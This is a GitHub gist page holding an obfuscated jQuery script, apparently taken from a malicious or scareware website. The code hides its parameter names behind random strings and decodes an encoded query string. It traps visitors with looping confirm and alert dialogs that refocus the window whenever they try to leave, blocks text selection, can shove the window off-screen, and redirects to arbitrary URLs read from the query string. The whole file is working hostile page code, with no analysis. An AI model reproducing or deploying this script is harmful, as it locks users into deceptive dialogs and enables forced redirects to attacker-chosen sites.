Skip to content

Instantly share code, notes, and snippets.

@thejh
Created March 20, 2011 18:43
Show Gist options
  • Save thejh/878542 to your computer and use it in GitHub Desktop.
Save thejh/878542 to your computer and use it in GitHub Desktop.
var obfuscationArray = [];
obfuscationArray["03E8"] = "ntElNDUNAQxJyDfhycFjKHHIbPfCMZNh";
obfuscationArray["07D0"] = "dmxyYSUfkHqaGIeuRqawDbSaUblNUBOQ", obfuscationArray["0BB8"] = "ivwXvoZDazVJsWESCiXRlLztiqFMTzyK";
obfuscationArray["0FA0"] = "HFohOKNwmbRgrVuqcghoDhRBLhGIfYJE";
obfuscationArray["1388"] = "FOSZYEeTUREDoLQByhdTtUIFrvKkkDop";
obfuscationArray["1770"] = "zhPOZGWPLYlXdqvBcHdVpHcmeWiUuIbV";
obfuscationArray["1B58"] = "vQouJLndiMuMDPZBXDQlOJidliNiIIoX";
obfuscationArray["1F40"] = "kPtnneYtPzguZJaVnnIphZpDdlOWQfMm";
obfuscationArray["2328"] = "eMDGeIHwUDQhVWoBnDyXFUCkkJAaOWFS";
obfuscationArray["2710"] = "hlhqHrWUdKWhjXkHOQgJJhaSdUsIuLPf";
obfuscationArray["2AF8"] = "ogCohCvvAqbjVpSDvruGrgbPjsbvxplB";
obfuscationArray["2EE0"] = "sSHmxFJqYFRyimHEKYqaKCjtEjyFVXxA";
obfuscationArray["32C8"] = "XzZKUHStGNXoAMrpXNmveylnEzjgoeFD";
obfuscationArray["36B0"] = "SFonaDQNNUsloFlOLQSVIhORUPXPsIbV"; // jumping target
obfuscationArray["3A98"] = "pwNdHAHcPQlwhzJbbghuOpbPsCpezWUS";
var TqAxshwHMgksdXEcoGpBqbWxYCWQBgIH = false;
var ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = false;
var documentURL = undefined;
var YoqnOkRDyCHAQFpWuiYLbviRxzhrTiGM = true;
jQuery.extend({
getValueFromQuerystring: function (wantedKey, arg1) {
var keys = [];
var myURL = (documentURL != undefined ? documentURL : window.location.href);
if (myURL.indexOf('?') > -1) {
var querystring = myURL.substr(myURL.indexOf("?") + 1);
var queryParts = querystring.split('&');
for (var i = 0; i < queryParts.length; i++) {
var key = queryParts[i].substr(0, queryParts[i].indexOf('='));
keys[keys.length] = key;
if (wantedKey != undefined) {
if (obfuscationArray[key] != undefined) {
if (obfuscationArray[key] == wantedKey) {
var value = queryParts[i].substr(queryParts[i].indexOf('=') + 1);
return value
}
} else if (documentURL == undefined) {
if (key == wantedKey) {
var value = queryParts[i].substr(queryParts[i].indexOf('=') + 1);
return value
}
}
}
}
}
if (wantedKey != undefined) {
return arg1
} else {
return keys
}
}
});
function kPtnneYtPzguZJaVnnIphZpDdlOWQfMm(msg) {
if (parseInt($.getValueFromQuerystring('kPtnneYtPzguZJaVnnIphZpDdlOWQfMm', 1))) {
ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = true;
alert(msg);
setTimeout(function () {
ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = false
}, 1);
window.focus()
}
}
function deobfuscateQuerystring() {
var allKeys = $.getValueFromQuerystring();
if (allKeys.length == 1) {
var newURL = "?";
var value = $.getValueFromQuerystring(allKeys[0]);
while (value.length > 0) {
if (/[0-9]{3}/.test(value.substr(0, 3))) {
newURL = newURL + "" + String.fromCharCode(value.substr(0, 3));
value = value.substr(3)
} else if (/[A-Za-z]{1}/.test(value.substr(0, 1))) {
newURL = newURL + value.substr(0, 1);
value = value.substr(1)
}
}
documentURL = newURL
}
}
deobfuscateQuerystring();
function pwNdHAHcPQlwhzJbbghuOpbPsCpezWUS(cyEFxEkiflDgWmPzySHpOPSMqkcEjIyy, IVOALlvibJAAdyCSOHqbvgKeHgSmwskW) {
if ($.browser.msie) {
$("body *").bind("mousedown", function () {
ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = true
})
}
var hTbaytKplCkaztPcoFCFifJbwazzlXfa = parseInt($.getValueFromQuerystring('pwNdHAHcPQlwhzJbbghuOpbPsCpezWUS', 1));
if (hTbaytKplCkaztPcoFCFifJbwazzlXfa != 0) {
window.onblur = function () {};
window.focus();
window.onfocus = function () {
YoqnOkRDyCHAQFpWuiYLbviRxzhrTiGM = true
};
window.onblur = function () {
if (YoqnOkRDyCHAQFpWuiYLbviRxzhrTiGM == true) {
window.focus();
if (ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa == false) {
ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = true;
var NoqbnZmNrwrkyZwtoEsjnBbLUPyvdIwZ = confirm(cyEFxEkiflDgWmPzySHpOPSMqkcEjIyy);
if (NoqbnZmNrwrkyZwtoEsjnBbLUPyvdIwZ) {
if (hTbaytKplCkaztPcoFCFifJbwazzlXfa == 1) {
window.focus()
} else {
TqAxshwHMgksdXEcoGpBqbWxYCWQBgIH = true;
$("body").click();
pwNdHAHcPQlwhzJbbghuOpbPsCpezWUS(cyEFxEkiflDgWmPzySHpOPSMqkcEjIyy, IVOALlvibJAAdyCSOHqbvgKeHgSmwskW)
}
} else {
alert(IVOALlvibJAAdyCSOHqbvgKeHgSmwskW);
window.focus();
pwNdHAHcPQlwhzJbbghuOpbPsCpezWUS(cyEFxEkiflDgWmPzySHpOPSMqkcEjIyy, IVOALlvibJAAdyCSOHqbvgKeHgSmwskW)
}
ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = false
}
return false
} else {
YoqnOkRDyCHAQFpWuiYLbviRxzhrTiGM = true
}
}
}
}
jQuery.fn.extend({
bSSkqopUbyUZuNpHblgcGShbvSJbyGXx: function () {
this.each(function () {
this.onselectstart = function () {
return false
};
this.unselectable = "on";
jQuery(this).css('-moz-user-select', 'none')
})
},
rPeHbLBXjzmnVzSztXRLzUXMTwEjnPsB: function () {
this.each(function () {
this.onselectstart = function () {};
this.unselectable = "off";
jQuery(this).css('-moz-user-select', 'auto')
})
}
});
function minimize() {
window.innerWidth = 1;
window.innerHeight = 1;
window.screenX = screen.width;
window.screenY = screen.height;
w = window;
ua = navigator.userAgent;
v1 = ua.toLowerCase().indexOf('msie') != -1 && ua.toLowerCase().indexOf('opera') < 0;
x = 11;
window.resizeTo(x*10,x*11-7);
w.moveTo(v1 ? (screen.width - 100) >> 1 : 11027, v1 ? (screen.height - 100) >> 1 : 10659)
}
function maximize() {
window.moveTo(0, 0);
window.resizeTo(screen.width, screen.height);
window.focus()
}
function zhTcRTTjAqydhEihnfhKOxsxterufmml(ntElNDUNAQxJyDfhycFjKHHIbPfCMZNh) {
YoqnOkRDyCHAQFpWuiYLbviRxzhrTiGM = false;
ZoqwfqSPnBNAUeVgKOINkSdTMkYXOkMa = false;
window.location = document.location.pathname.replace(new RegExp("[\/]+$", "g"), "") + '/' + ntElNDUNAQxJyDfhycFjKHHIbPfCMZNh.replace(new RegExp("^[\/]+", "g"), "")
}
function returnTrafficUrl() {
if ($.getValueFromQuerystring('returnTrafficUrl') != undefined) {
if (/^(http|https):\/\/.*$/.test($.getValueFromQuerystring('returnTrafficUrl')) == true) {
window.location = $.getValueFromQuerystring('returnTrafficUrl')
}
}
}
var jumpingTarget = $.getValueFromQuerystring('SFonaDQNNUsloFlOLQSVIhORUPXPsIbV');
if (jumpingTarget != undefined) {
window.location = unescape(jumpingTarget)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment